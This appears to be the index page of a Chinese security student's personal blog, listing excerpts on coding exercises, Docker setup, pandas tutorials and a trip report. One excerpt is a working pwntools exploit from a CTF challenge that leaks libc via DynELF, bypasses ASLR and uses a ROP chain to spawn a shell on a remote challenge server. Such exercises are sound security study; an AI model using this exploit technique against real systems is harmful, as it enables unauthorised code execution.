Chybeta


  • 首页

  • 归档

  • 分类

  • 标签

  • 朋友

  • 关于我

  • 搜索
close
Chybeta

CodeTrain(2)棋子翻转

发表于 2017-03-02 | 分类于 编程练习 | 阅读次数

题目

在4x4的棋盘上摆满了黑白棋子,黑白两色的位置和数目随机其中左上角坐标为(1,1),右下角坐标为(4,4),现在依次有一些翻转操作,要对一些给定支点坐标为中心的上下左右四个棋子的颜色进行翻转,请计算出翻转后的棋盘颜色。给定两个数组A和f,分别为初始棋盘和翻转位置。其中翻转位置共有3个。请返回翻转后的棋盘。

测试样例:[[0,0,1,1],[1,0,1,0],[0,1,1,0],[0,0,1,0]],[[2,2],[3,3],[4,4]]
返回:[[0,1,1,1],[0,0,1,0],[0,1,1,0],[0,0,1,0]]

阅读全文 »
Chybeta

CodeTrain(1)最大差值

发表于 2017-03-02 | 分类于 编程练习 | 阅读次数

题目

有一个长为n的数组A,求满足0≤a≤b<n的A[b]-A[a]的最大值。给定数组A及它的大小n,请返回最大差值。

测试样例:[10,5],2
返回:0

阅读全文 »
Chybeta

记2017年阿里巴巴之行

发表于 2017-02-17 | 分类于 随笔 | 阅读次数

  今年1月份,接到一个任务,负责组建厦门大学的互联网安全志愿者联盟队伍,我暂居队长之位。从大体上来讲,该志愿联盟偏向于业务性,而非技术性,这与我之前所接触的网络安全方向有所不同。而在今年2月15日,作为队长,受联盟邀请前往阿里巴巴参与青年领导力培训会。以下就“记流水账”地回忆一下这几天来的经历吧。

阅读全文 »
Chybeta

栈溢出学习之bypass ASLR:利用DynELF模块leak出内存地址

发表于 2017-02-16 | 分类于 writeup:bin | 阅读次数

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
#p = remote('pwn2.jarvisoj.com', 9880)
p = remote('218.2.197.235',20433)
elf = ELF('./xmanlevel4')
writeplt = elf.symbols['write']
readplt = elf.symbols['read']
vulnaddr = 0x804844b
bssaddr = elf.bss(0x200)
pppraddr = 0x8048509
staraddr = 0x8048350
def leak(address):
payload = 'a'*140
payload += p32(writeplt)
payload += p32(vulnaddr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s " % (address,(data or '').encode('hex'))
return data
dynelf = DynELF(leak,elf=ELF('./xmanlevel4'))
sysaddr = dynelf.lookup('system','libc')
print "system address is " + hex(sysaddr)
print "-----------------------------------"
payload1 = 'a' * 140
payload1 += p32(readplt)
payload1 += p32(pppraddr)
payload1 += p32(0)
payload1 += p32(bssaddr)
payload1 += p32(8)
payload1 += p32(sysaddr)
payload1 += p32(1)
payload1 += p32(bssaddr)
p.send(payload1)
p.send('/bin/sh\0')
p.interactive()

Chybeta

win下Docker默认存储位置修改

发表于 2017-02-14 | 分类于 技术杂谈 | 阅读次数

在如前安装完docker后,会有如下界面:

之后我们会通过一系列的命令来建造容器,而所需要的镜像则会被默认存放在C盘中的 虚拟机磁盘文件disk.vmdk中,所以为防止以后镜像过多而导致的C盘空间不足,要想办法修改一下存储的位置。

阅读全文 »
Chybeta

windows平台下Docker环境搭建

发表于 2017-02-13 | 分类于 技术杂谈 | 阅读次数

由于准备自己写个虚拟机,以及日后ctf题环境的搭建等,准备开始接触docker。相比于vmware等虚拟机软件,docker能很好的做出一个隔离linux的环境,并且它能直接调用物理机硬件,而不像vmware是自己虚拟化硬件,这样在docker容器里跑cuda调用本机的显卡就有可能了。下面记录一下自己的docker搭建过程。

阅读全文 »
Chybeta

数据挖掘比赛(5)ten Minutes to pandas中文版下

发表于 2017-02-02 | 分类于 数据挖掘 | 阅读次数

此文是 ten-Minutes-to-pandas 下半部分的翻译。上半部分请看:《数据挖掘比赛(4)ten Minutes to pandas中文版上》

阅读全文 »
Chybeta

数据挖掘比赛(4)ten Minutes to pandas中文版上

发表于 2017-02-01 | 分类于 数据挖掘 | 阅读次数

pandas官方文档中有一份快速入门教程《ten Minutes to pandas》,虽然网上早有其中文翻译,不过可能是旧版的:)所以闲来无事,自己也翻译最新版本的学习一下。

阅读全文 »
Chybeta

数据挖掘比赛(3)申请anaconda-academic-license并使用

发表于 2017-01-29 | 分类于 数据挖掘 | 阅读次数

Anaconda是python的一个科学计算发行版,里面集成了各种各样的科学计算包,如numpy、pandas、sklearn等。作为学生,在使用anaconda发行版的同时,我们可以申请anaconda的学术证书,通过它可以下载一些额外的包以实现计算过程的加速。

阅读全文 »
Chybeta

数据挖掘比赛(2)利用pandas读取大型数据集

发表于 2017-01-25 | 分类于 数据挖掘 | 阅读次数

数据比赛中,有时提供的数据集会很大,常规方法打不开,这时候就需要在读入时做些小处理,方便后续操作。

阅读全文 »
1…181920
chybeta

chybeta

196 日志
13 分类
117 标签
RSS
GitHub Twitter
Links
  • XMU-Ph0en1x
  • lzhtony
  • findneo
  • Mads
  • Ginove
  • cltheorem
  • Frank
  • Philhe
© 2021 chybeta
由 Hexo 强力驱动
主题 - NexT.Muse